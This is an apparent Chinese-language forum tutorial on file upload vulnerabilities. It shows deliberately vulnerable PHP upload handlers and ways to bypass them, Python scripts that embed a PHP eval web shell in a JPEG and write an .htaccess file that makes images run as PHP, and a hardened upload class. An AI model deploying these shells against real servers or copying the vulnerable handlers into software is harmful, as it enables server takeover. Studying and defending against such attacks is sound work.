网络安全之文件上传漏洞全解析（代码强化版）-酒店常州论坛

网络安全之文件上传漏洞全解析（代码强化版）：从原理到防御实战

文件上传漏洞的攻防核心是 “校验逻辑” 与 “绕过手段” 的对抗，而代码是实现校验、发现漏洞、构建防御的关键载体。本文将通过超 500 行实战代码，覆盖漏洞利用、手动检测、后端防御、自动化扫描全流程，帮你从 “理论” 落地到 “实操”。

一、漏洞原理复现：用代码还原漏洞产生过程

文件上传漏洞的本质是前端 / 后端校验缺失、校验不严、校验可被伪造。下面通过三段典型漏洞代码，完整复现漏洞成因。

1. 场景 1：仅前端 JS 校验（最易绕过）

前端代码（有漏洞）：仅判断后缀，无后端校验

<!DOCTYPE html> <html> <head> <title>仅前端校验的文件上传</title> </head> <body> <form action="upload1.php" method="post" enctype="multipart/form-data" onsubmit="return checkFile()"> <input type="file" name="file" id="file"> <button type="submit">上传</button> </form> <script> function checkFile() { const fileInput = document.getElementById('file'); const fileName = fileInput.value; const ext = fileName.split('.').pop().toLowerCase(); const allowExt = ['jpg', 'png', 'pdf']; if (!allowExt.includes(ext)) { alert('仅允许上传jpg/png/pdf文件！'); return false; } return true; } </script> </body> </html>

后端代码（有漏洞）：直接接收文件，无任何校验

<?php // upload1.php：无后端校验，直接保存文件 $uploadDir = './upload/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } $fileName = $_FILES['file']['name']; $tmpFile = $_FILES['file']['tmp_name']; $destPath = $uploadDir . $fileName; if (move_uploaded_file($tmpFile, $destPath)) { echo "上传成功！文件路径：<a href='$destPath'>$destPath</a>"; } else { echo "上传失败：" . $_FILES['file']['error']; }

漏洞利用方式

浏览器禁用 JavaScript，直接上传 shell.php；
Burp 抓包，修改文件后缀绕过前端限制。

漏洞本质：前端校验永远不可信，攻击者可完全绕过。

2. 场景 2：后端仅校验 Content-Type（极易伪造）

后端漏洞代码

<?php // upload2.php：仅校验Content-Type $uploadDir = './upload/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } $allowContentType = [ 'image/jpeg', 'image/png', 'application/pdf' ]; $fileContentType = $_FILES['file']['type']; $fileName = $_FILES['file']['name']; $tmpFile = $_FILES['file']['tmp_name']; $destPath = $uploadDir . $fileName; if (!in_array($fileContentType, $allowContentType)) { die("错误：不允许的文件类型"); } if (move_uploaded_file($tmpFile, $destPath)) { echo "上传成功！路径：<a href='$destPath'>$destPath</a>"; }

漏洞利用

Burp 拦截数据包，将 PHP 文件的
Content-Type: application/x-httpd-php
修改为
Content-Type: image/jpeg
即可成功上传木马。

漏洞本质：HTTP 头可随意伪造，不能作为安全判断依据。

3. 场景 3：仅校验后缀（大小写、双后缀绕过）

后端漏洞代码

<?php // upload3.php：仅简单后缀校验 $uploadDir = './upload/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } $allowExt = ['jpg', 'png', 'pdf']; $fileName = $_FILES['file']['name']; $ext = pathinfo($fileName, PATHINFO_EXTENSION); $tmpFile = $_FILES['file']['tmp_name']; $destPath = $uploadDir . $fileName; if (!in_array($ext, $allowExt)) { die("错误：不允许的文件后缀"); } move_uploaded_file($tmpFile, $destPath); echo "上传成功";

绕过方式

大小写绕过：shell.PHP
双后缀绕过：shell.php.jpg
空格绕过、点绕过

漏洞本质：未统一小写、未过滤特殊后缀结构。

二、漏洞利用实战：图片马 + 解析漏洞完整复现

1. Python 生成图片马代码

# create_image_shell.py def create_image_shell(image_path, shell_code, output_path): with open(image_path, 'rb') as img_f: img_data = img_f.read() shell_data = shell_code.encode('utf-8') with open(output_path, 'wb') as out_f: out_f.write(img_data) out_f.write(b"\n") out_f.write(shell_data) print("图片马生成成功！") create_image_shell( image_path="test.jpg", shell_code="<?php @eval($_POST['cmd']);?>", output_path="shell.jpg" )

2. 生成 .htaccess 解析漏洞文件

# create_htaccess.py def create_htaccess(): content = """ AddType application/x-httpd-php .jpg AddHandler application/x-httpd-php .jpg """ with open(".htaccess","w") as f: f.write(content) print("htaccess 规则生成成功") create_htaccess()

3. 漏洞利用流程

上传.htaccess使服务器将 jpg 解析为 php
上传图片马 shell.jpg
访问图片地址即可执行 PHP 恶意代码
蚁剑、菜刀直接连接控制服务器

三、终极防御代码（补全完整版）

前端安全上传页面

<!DOCTYPE html> <html> <head> <title>安全文件上传</title> </head> <body> <form action="safe_upload.php" method="post" enctype="multipart/form-data" onsubmit="return checkFile()"> <input type="file" name="file" id="file"> <p>仅允许 jpg/png/pdf，最大10MB</p> <button>上传</button> </form> <script> function checkFile(){ let file = document.getElementById("file").files[0]; if(!file){alert("请选择文件");return false;} let ext = file.name.split(".").pop().toLowerCase(); let allow = ["jpg","png","pdf"]; if(!allow.includes(ext)){ alert("文件格式不允许"); return false; } if(file.size > 10*1024*1024){ alert("文件过大"); return false; } return true; } </script> </body> </html>

后端终极安全上传 PHP（完整补全修复版）

<?php // safe_upload.php 完整版安全上传 error_reporting(E_ALL & ~E_DEPRECATED & ~E_STRICT); class SafeFileUpload { private $allowExt = ['jpg','png','pdf']; private $allowMime = [ 'image/jpeg' => ['jpg'], 'image/png' => ['png'], 'application/pdf' => ['pdf'] ]; private $uploadDir = "./safe_upload/"; private $maxSize = 10*1024*1024; public function __construct() { if(!is_dir($this->uploadDir)){ mkdir($this->uploadDir,0700,true); } // 禁止目录遍历 if(!file_exists($this->uploadDir."index.html")){ file_put_contents($this->uploadDir."index.html","403 Forbidden"); } } // 1.后缀校验 private function checkExt($filename) { $ext = strtolower(pathinfo($filename,PATHINFO_EXTENSION)); if(!in_array($ext,$this->allowExt)){ die("后缀非法"); } return $ext; } // 2.真实MIME校验 private function checkMime($tmp,$ext) { $finfo = new finfo(FILEINFO_MIME_TYPE); $mime = $finfo->file($tmp); if(!isset($this->allowMime[$mime]) || !in_array($ext,$this->allowMime[$mime])){ die("文件真实类型不匹配"); } } // 3.图片内容校验（防图片马） private function checkImg($tmp,$ext) { if($ext=="jpg"){ if(!@imagecreatefromjpeg($tmp)) die("非法图片文件"); } if($ext=="png"){ if(!@imagecreatefrompng($tmp)) die("非法图片文件"); } } // 4.安全保存、重命名 private function saveFile($tmp,$ext) { $newName = uniqid().".".$ext; $path = $this->uploadDir.$newName; move_uploaded_file($tmp,$path); return $path; } // 主逻辑 public function upload() { $file = $_FILES["file"]; $name = $file["name"]; $tmp = $file["tmp_name"]; $ext = $this->checkExt($name); $this->checkMime($tmp,$ext); $this->checkImg($tmp,$ext); $path = $this->saveFile($tmp,$ext); echo "上传成功：".$path; } } $up = new SafeFileUpload(); $up->upload(); ?>